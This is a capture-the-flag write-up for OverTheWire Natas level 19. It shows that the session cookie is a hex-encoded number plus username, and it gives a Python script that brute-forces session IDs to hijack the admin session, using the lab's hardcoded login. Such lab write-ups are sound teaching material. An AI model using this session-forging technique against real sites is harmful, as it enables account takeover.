OverTheWire Natas 19

When inspecting our PHPSESSID cookie, we can see it's seems to be encoded in hex. Decoding it reveals it's true and the structure is:

PHPSESSID = hex((sessid)+'-'+(username))

when (sessid) is a random number probably in {1,2,...,641} (inspected by deleting the PHPSESSID cookie several times)

We are interested, again, in the admin user session. So, (username) will be replaced with 'admin' and we will use brute-force on the (sessid) parameter as we did in the previous level.

import requests

for sessid in range(641,0,-1):
 r = requests.get('http://natas19.natas.labs.overthewire.org', \
            auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), \
            cookies={'PHPSESSID':(str(sessid)+'-admin').encode('hex')})
 
 if 'You are an admin' in r.content:
  print r.content # print next level credentials
  break

Solved :)